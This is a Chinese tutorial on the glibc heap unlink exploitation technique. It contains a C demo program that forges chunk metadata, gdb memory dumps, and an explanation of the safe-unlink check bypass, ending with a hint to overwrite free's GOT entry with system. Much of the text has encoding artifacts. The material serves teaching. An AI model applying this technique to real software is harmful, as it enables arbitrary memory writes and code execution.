二進制安全之堆溢出(系列)—— unlink
本文是二進制安全之堆溢出系列的第五章節(jié),主要介紹unlink。
源程序
? ? #include <stdio.h> #include <malloc.h> #include <unistd.h> #include <string.h> long long list[30]={0}; int main() {? ? char *p = malloc(0x80);? ? char *q = malloc(0x80);? ? char *r = malloc(0x80);? ? sleep(0);? ? printf("%p\n",list);? ? list[0] = p;? ? sleep(0);? ? printf("%p\n",&p);? ? *(long *) p = 0;? ? *(long *) (p+8) = 0x81;? ? *(long *) (p+16) = list - 0x3;? ? *(long *) (p+24) = list - 0x2;? ? *(long *) (q-16) = 0x80;? ? *(long *) (q-8) = 0x90;? ? sleep(0);? ? free(q);? ? sleep(0);? ? strcpy(list[0],"111111111111111111111111\x38\x10\x60");? //由于list指向了list-0x18的位置,所以需要0x18個1來填充? ? sleep(0);? ? strcpy(list[0],"dddddddd");? //相當于*list[0] = "dddddddd"? ? malloc(0);? ? sleep(0);? ? return 0; }
調(diào)試
初始堆的情況
? ? 0x602000 PREV_INUSE {? ? ? ?----> p prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602090 PREV_INUSE {? ---> q prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602120 PREV_INUSE {? --->r prev_size = 0, size = 145, fd = 0x0, bk = 0x0,? fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x6021b0 PREV_INUSE {? --->top chunk prev_size = 0, size = 134737, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
list[0] = p
之后list
的內(nèi)存布局
? ? 0×601080 <list>:0×00000000006020100×0000000000000000
打印p
的地址
? ? 0x7fffffffdc20
p
堆塊改頭換面
? 0x602000:? ?0x0000000000000000? 0x0000000000000091 0x602010:? ?0x0000000000000000? 0x0000000000000081? ? ? --->從這里開始改造 0x602020:? ?0x0000000000601068? 0x0000000000601070? ? ? --->list - 0x18 list - 0x10 0x602030:? ?0x0000000000000000? 0x0000000000000000
q
堆塊改頭換面
原始的q堆塊 0x602090:? ?0x0000000000000080? 0x0000000000000091? --->Pre_inuse為1,表示p堆塊正在使用中 0x6020a0:? ?0x0000000000000000? 0x0000000000000000 改造后q堆塊 0x602090:? ?0x0000000000000080? 0x0000000000000090? -->更改p堆塊的size以及inuse狀態(tài),便于合并及unlink 0x6020a0:? ?0x0000000000000000? 0x0000000000000000
此時達到的效果,當free q
的時候,就會前向合并,觸發(fā)unlink
free q
之后
? ?0x602000 PREV_INUSE { prev_size = 0, size = 145, fd = 0x0, bk = 0x111, fd_nextsize = 0x7ffff7dd1b78 <main_arena+88>, bk_nextsize = 0x7ffff7dd1b78 <main_arena+88> } 0x602090 { prev_size = 128, size = 144, fd = 0x0,? ? ? ? ? ? ? ? ? ? ? ?===>指向0 bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602120 { prev_size = 272,? ? ? ? ? ? ===>從這里可以看出p,q合并了 size = 144, fd = 0x0, bk = 0x0,? fd_nextsize = 0x0, bk_nextsize = 0x0 }
list[0]
第一次賦值
? 0x601080 <list>:? ? 0x0000000000601038? 0x0000000000000000
此時0x601038
的內(nèi)容
?0x601038:? ?0x00007ffff7a91130? 0x00007ffff7ad9230 0x601048:? ?0x0000000000000000? 0x0000000000000000 0x601058:? ?0x0000000000000000? 0x0000000000000000 0x601068:? ?0x3131313131313131? 0x3131313131313131 0x601078:? ?0x3131313131313131? 0x0000000000601038 0x601088 <list+8>:? 0x0000000000000000? 0x0000000000000000
list[0]
第二次賦值
?0x601080 <list>:0x00000000006010380x0000000000000000
此時0x601038
的內(nèi)容
?0x601038:? ?0x6464646464646464? 0x00007ffff7ad9200? ? ? ==>我們寫入的dddddddd到了這里 0x601048:? ?0x0000000000000000? 0x0000000000000000 0x601058:? ?0x0000000000000000? 0x0000000000000000 0x601068:? ?0x3131313131313131? 0x3232323232323232 0x601078:? ?0x3333333333333333? 0x0000000000601038 0x601088 <list+8>:? 0x0000000000000000? 0x0000000000000000
原理
繞過檢查的方式 p ->fd = list[0] - 0x18 p ->bk = list[0] - 0x10 list[0] = p 為什么這樣就饒過檢查了呢 檢查的原理: p->fd->bk = p && p->bk->fd = p 簡單的加法: p->fd->bk = p->fd+0x18 = list[0] = p p->bk->fd = p->bk+0x18 = list[0] = p unlink的操作實現(xiàn)了什么效果 斷鏈的操作:p->fd->bk = p->bk && p->bk->fd = p->fd 方程組解析: 因為: p->fd->bk = *(list[0] - 0x18 + 0x18) # 理解這一點至關(guān)重要,可以把p->fd理解為一個指針 p->fd->bk = p->bk p->bk = list[0] - 0x10 所以:*(list[0]) = list[0] - 0x10 同理:*(list[0]) = list[0] - 0x18 效果: list[0]指向了低三個指針長度的內(nèi)存空間 現(xiàn)在編輯list[0],就相當于更改低三個指針長度的內(nèi)存空間(L)的內(nèi)容 假設(shè)現(xiàn)在list[0] = free_got,*L = system,當再次free一個堆塊的時候,就會調(diào)用system。
